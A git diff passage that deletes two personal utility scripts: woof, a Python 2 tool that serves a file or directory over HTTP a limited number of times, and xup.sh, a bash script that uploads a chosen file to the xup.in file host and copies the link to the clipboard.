-# the Free Software Foundation; either version 2 of the License, or
-# (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-# GNU General Public License for more details.
-#
-# A copy of the GNU General Public License is available at
-# http://www.fsf.org/licenses/gpl.txt, you can also write to the
-# Free Software Foundation, Inc., 59 Temple Place - Suite 330,
-# Boston, MA 02111-1307, USA.
-
-# Darwin support with the help from Mat Caughron, <mat@phpconsulting.com>
-# Solaris support by Colin Marquardt, <colin.marquardt@zmd.de>
-# FreeBSD support with the help from Andy Gimblett, <A.M.Gimblett@swansea.ac.uk>
-# Cygwin support by Stefan Reichör <stefan@xsteve.at>
-# tarfile usage suggested by Morgan Lefieux <comete@geekandfree.org>
-
-import sys, os, socket, getopt, commands
-import urllib, BaseHTTPServer
-import ConfigParser
-import shutil, tarfile, zipfile
-import struct
-
-maxdownloads = 1
-TM = object
-cpid = -1
-compressed = 'gz'
-
-
-class EvilZipStreamWrapper(TM):
- def __init__ (self, victim):
- self.victim_fd = victim
- self.position = 0
- self.tells = []
- self.in_file_data = 0
-
- def tell (self):
- self.tells.append (self.position)
- return self.position
-
- def seek (self, offset, whence = 0):
- if offset != 0:
- if offset == self.tells[0] + 14:
- # the zipfile module tries to fix up the file header.
- # write Data descriptor header instead,
- # the next write from zipfile
- # is CRC, compressed_size and file_size (as required)
- self.write ("PK\007\010")
- elif offset == self.tells[1]:
- # the zipfile module goes to the end of the file. The next
- # data written definitely is infrastructure (in_file_data = 0)
- self.tells = []
- self.in_file_data = 0
- else:
- raise "unexpected seek for EvilZipStreamWrapper"
-
- def write (self, data):
- # only test for headers if we know that we're not writing
- # (potentially compressed) data.
- if self.in_file_data == 0:
- if data[:4] == zipfile.stringFileHeader:
- # fix the file header for extra Data descriptor
- hdr = list (struct.unpack (zipfile.structFileHeader, data[:30]))
- hdr[3] |= (1 << 3)
- data = struct.pack (zipfile.structFileHeader, *hdr) + data[30:]
- self.in_file_data = 1
- elif data[:4] == zipfile.stringCentralDir:
- # fix the directory entry to match file header.
- hdr = list (struct.unpack (zipfile.structCentralDir, data[:46]))
- hdr[5] |= (1 << 3)
- data = struct.pack (zipfile.structCentralDir, *hdr) + data[46:]
-
- self.position += len (data)
- self.victim_fd.write (data)
-
- def __getattr__ (self, name):
- return getattr (self.victim_fd, name)
-
-
-# Utility function to guess the IP (as a string) where the server can be
-# reached from the outside. Quite nasty problem actually.
-
-def find_ip ():
- if sys.platform == "cygwin":
- ipcfg = os.popen("ipconfig").readlines()
- for l in ipcfg:
- try:
- candidat = l.split(":")[1].strip()
- if candidat[0].isdigit():
- break
- except:
- pass
- return candidat
-
- os.environ["PATH"] = "/sbin:/usr/sbin:/usr/local/sbin:" + os.environ["PATH"]
- platform = os.uname()[0];
-
- if platform == "Linux":
- netstat = commands.getoutput ("LC_MESSAGES=C netstat -rn")
- defiface = [i.split ()[-1] for i in netstat.split ('\n')
- if i.split ()[0] == "0.0.0.0"]
- elif platform in ("Darwin", "FreeBSD", "NetBSD"):
- netstat = commands.getoutput ("LC_MESSAGES=C netstat -rn")
- defiface = [i.split ()[-1] for i in netstat.split ('\n')
- if len(i) > 2 and i.split ()[0] == "default"]
- elif platform == "SunOS":
- netstat = commands.getoutput ("LC_MESSAGES=C netstat -arn")
- defiface = [i.split ()[-1] for i in netstat.split ('\n')
- if len(i) > 2 and i.split ()[0] == "0.0.0.0"]
- else:
- print >>sys.stderr, "Unsupported platform; please add support for your platform in find_ip().";
- return None
-
- if not defiface:
- return None
-
- if platform == "Linux":
- ifcfg = commands.getoutput ("LC_MESSAGES=C ifconfig "
- + defiface[0]).split ("inet addr:")
- elif platform in ("Darwin", "FreeBSD", "SunOS", "NetBSD"):
- ifcfg = commands.getoutput ("LC_MESSAGES=C ifconfig "
- + defiface[0]).split ("inet ")
-
- if len (ifcfg) != 2:
- return None
- ip_addr = ifcfg[1].split ()[0]
-
- # sanity check
- try:
- ints = [ i for i in ip_addr.split (".") if 0 <= int(i) <= 255]
- if len (ints) != 4:
- return None
- except ValueError:
- return None
-
- return ip_addr
-
-
-# Main class implementing an HTTP-Requesthandler, that serves just a single
-# file and redirects all other requests to this file (this passes the actual
-# filename to the client).
-# Currently it is impossible to serve different files with different
-# instances of this class.
-
-class FileServHTTPRequestHandler (BaseHTTPServer.BaseHTTPRequestHandler):
- server_version = "Simons FileServer"
- protocol_version = "HTTP/1.0"
-
- filename = "."
-
- def log_request (self, code='-', size='-'):
- if code == 200:
- BaseHTTPServer.BaseHTTPRequestHandler.log_request (self, code, size)
-
-
- def do_GET (self):
- global maxdownloads, cpid, compressed
-
- # Redirect any request to the filename of the file to serve.
- # This hands over the filename to the client.
-
- self.path = urllib.quote (urllib.unquote (self.path))
- location = "/" + urllib.quote (os.path.basename (self.filename))
- if os.path.isdir (self.filename):
- if compressed == 'gz':
- location += ".tar.gz"
- elif compressed == 'bz2':
- location += ".tar.bz2"
- elif compressed == 'zip':
- location += ".zip"
- else:
- location += ".tar"
-
- if self.path != location:
- txt = """\
- <html>
- <head><title>302 Found</title></head>
- <body>302 Found <a href="%s">here</a>.</body>
- </html>\n""" % location
- self.send_response (302)
- self.send_header ("Location", location)
- self.send_header ("Content-type", "text/html")
- self.send_header ("Content-Length", str (len (txt)))
- self.end_headers ()
- self.wfile.write (txt)
- return
-
- maxdownloads -= 1
-
- # let a separate process handle the actual download, so that
- # multiple downloads can happen simultaneously.
-
- cpid = os.fork ()
-
- if cpid == 0:
- # Child process
- child = None
- type = None
-
- if os.path.isfile (self.filename):
- type = "file"
- elif os.path.isdir (self.filename):
- type = "dir"
-
- if not type:
- print >> sys.stderr, "can only serve files or directories. Aborting."
- sys.exit (1)
-
- self.send_response (200)
- self.send_header ("Content-type", "application/octet-stream")
- if os.path.isfile (self.filename):
- self.send_header ("Content-Length",
- os.path.getsize (self.filename))
- self.end_headers ()
-
- try:
- if type == "file":
- datafile = file (self.filename)
- shutil.copyfileobj (datafile, self.wfile)
- datafile.close ()
- elif type == "dir":
- if compressed == 'zip':
- ezfile = EvilZipStreamWrapper (self.wfile)
- zfile = zipfile.ZipFile (ezfile, 'w', zipfile.ZIP_DEFLATED)
- stripoff = os.path.dirname (self.filename) + os.sep
-
- for root, dirs, files in os.walk (self.filename):
- for f in files:
- filename = os.path.join (root, f)
- if filename[:len (stripoff)] != stripoff:
- raise RuntimeException, "invalid filename assumptions, please report!"
- zfile.write (filename, filename[len (stripoff):])
- zfile.close ()
- else:
- tfile = tarfile.open (mode=('w|' + compressed),
- fileobj=self.wfile)
- tfile.add (self.filename,
- arcname=os.path.basename(self.filename))
- tfile.close ()
- except Exception, e:
- print e
- print >>sys.stderr, "Connection broke. Aborting"
-
-
-def serve_files (filename, maxdown = 1, ip_addr = '', port = 8080):
- global maxdownloads
-
- maxdownloads = maxdown
-
- # We have to somehow push the filename of the file to serve to the
- # class handling the requests. This is an evil way to do this...
-
- FileServHTTPRequestHandler.filename = filename
-
- try:
- httpd = BaseHTTPServer.HTTPServer ((ip_addr, port),
- FileServHTTPRequestHandler)
- except socket.error:
- print >>sys.stderr, "cannot bind to IP address '%s' port %d" % (ip_addr, port)
- sys.exit (1)
-
- if not ip_addr:
- ip_addr = find_ip ()
- if ip_addr:
- print "Now serving on http://%s:%s/" % (ip_addr, httpd.server_port)
-
- while cpid != 0 and maxdownloads > 0:
- httpd.handle_request ()
-
-
-
-def usage (defport, defmaxdown, errmsg = None):
- name = os.path.basename (sys.argv[0])
- print >>sys.stderr, """
- Usage: %s [-i <ip_addr>] [-p <port>] [-c <count>] <file>
- %s [-i <ip_addr>] [-p <port>] [-c <count>] [-z|-j|-Z|-u] <dir>
- %s [-i <ip_addr>] [-p <port>] [-c <count>] -s
-
- Serves a single file <count> times via http on port <port> on IP
- address <ip_addr>.
- When a directory is specified, an tar archive gets served. By default
- it is gzip compressed. You can specify -z for gzip compression,
- -j for bzip2 compression, -Z for ZIP compression or -u for no compression.
- You can configure your default compression method in the configuration
- file described below.
-
- When -s is specified instead of a filename, %s distributes itself.
-
- defaults: count = %d, port = %d
-
- You can specify different defaults in two locations: /etc/woofrc
- and ~/.woofrc can be INI-style config files containing the default
- port and the default count. The file in the home directory takes
- precedence. The compression methods are "off", "gz", "bz2" or "zip".
-
- Sample file:
-
- [main]
- port = 8008
- count = 2
- ip = 127.0.0.1
- compressed = gz
- """ % (name, name, name, name, defmaxdown, defport)
- if errmsg:
- print >>sys.stderr, errmsg
- print >>sys.stderr
- sys.exit (1)
-
-
-
-def main ():
- global cpid, compressed
-
- maxdown = 1
- port = 8080
- ip_addr = ''
-
- config = ConfigParser.ConfigParser()
- config.read (['/etc/woofrc', os.path.expanduser('~/.woofrc')])
-
- if config.has_option ('main', 'port'):
- port = config.getint ('main', 'port')
-
- if config.has_option ('main', 'count'):
- maxdown = config.getint ('main', 'count')
-
- if config.has_option ('main', 'ip'):
- ip_addr = config.get ('main', 'ip')
-
- if config.has_option ('main', 'compressed'):
- formats = { 'gz' : 'gz',
- 'true' : 'gz',
- 'bz' : 'bz2',
- 'bz2' : 'bz2',
- 'zip' : 'zip',
- 'off' : '',
- 'false' : '' }
- compressed = config.get ('main', 'compressed')
- compressed = formats.get (compressed, 'gz')
-
- defaultport = port
- defaultmaxdown = maxdown
-
- try:
- options, filenames = getopt.getopt (sys.argv[1:], "hszjZui:c:p:")
- except getopt.GetoptError, desc:
- usage (defaultport, defaultmaxdown, desc)
-
- for option, val in options:
- if option == '-c':
- try:
- maxdown = int (val)
- if maxdown <= 0:
- raise ValueError
- except ValueError:
- usage (defaultport, defaultmaxdown,
- "invalid download count: %r. "
- "Please specify an integer >= 0." % val)
-
- elif option == '-i':
- ip_addr = val
-
- elif option == '-p':
- try:
- port = int (val)
- except ValueError:
- usage (defaultport, defaultmaxdown,
- "invalid port number: %r. Please specify an integer" % val)
-
- elif option == '-s':
- filenames.append (__file__)
-
- elif option == '-h':
- usage (defaultport, defaultmaxdown)
-
- elif option == '-z':
- compressed = 'gz'
- elif option == '-j':
- compressed = 'bz2'
- elif option == '-Z':
- compressed = 'zip'
- elif option == '-u':
- compressed = ''
-
- else:
- usage (defaultport, defaultmaxdown, "Unknown option: %r" % option)
-
- if len (filenames) == 1:
- filename = os.path.abspath (filenames[0])
- else:
- usage (defaultport, defaultmaxdown,
- "Can only serve single files/directories.")
-
- if not os.path.exists (filename):
- usage (defaultport, defaultmaxdown,
- "%s: No such file or directory" % filenames[0])
-
- if not (os.path.isfile (filename) or os.path.isdir (filename)):
- usage (defaultport, defaultmaxdown,
- "%s: Neither file nor directory" % filenames[0])
-
- serve_files (filename, maxdown, ip_addr, port)
-
- # wait for child processes to terminate
- if cpid != 0:
- try:
- while 1:
- os.wait ()
- except OSError:
- pass
-
-
-
-if __name__=='__main__':
- try:
- main ()
- except KeyboardInterrupt:
- pass
-
diff --git a/xup.sh b/xup.sh
deleted file mode 100755
index 64a5a64..0000000
--- a/xup.sh
+++ /dev/null
@@ -1,29 +0,0 @@
-#!/bin/bash
-#----------------------------------------------------
-# Version: 0.1.5
-# Author: Florian "Bluewind" Pritz <flo@xssn.at>
-#
-# Licensed under WTFPL v2
-# (see COPYING for full license text)
-#
-#----------------------------------------------------
-# Upload file to XUP, copy URL to clipboard and
-# save to historyfile
-#----------------------------------------------------
-
-XUPHIST="${HOME}/.xup_history"
-FILE="$(basename "$1")"
-DIR="$(dirname "$1")"
-cd "$DIR"
-
-URLS=$(curl -# -F "F1=@$FILE" -L "http://www.xup.in/xtrans.php" -H "Expect: ")
-DL_URL=$(echo -n ${URLS} | egrep -o "\"http://www.xup.in/dl,.{8}/" | sed "s#\"##g")
-DEL_URL=$(echo -n ${URLS} | egrep -o "\"http://www.xup.in/kill,.{8},.{10}/\"" | sed "s#\"##g")
-
-echo $(date) >> "$XUPHIST"
-echo "$PWD/$FILE" >> "$XUPHIST"
-echo $DL_URL >> "$XUPHIST"
-echo -n $DL_URL | nohup >/dev/null 2>&1 xclip
-echo -n $DL_URL
-echo $DEL_URL >> "$XUPHIST"
-echo "" >> "$XUPHIST"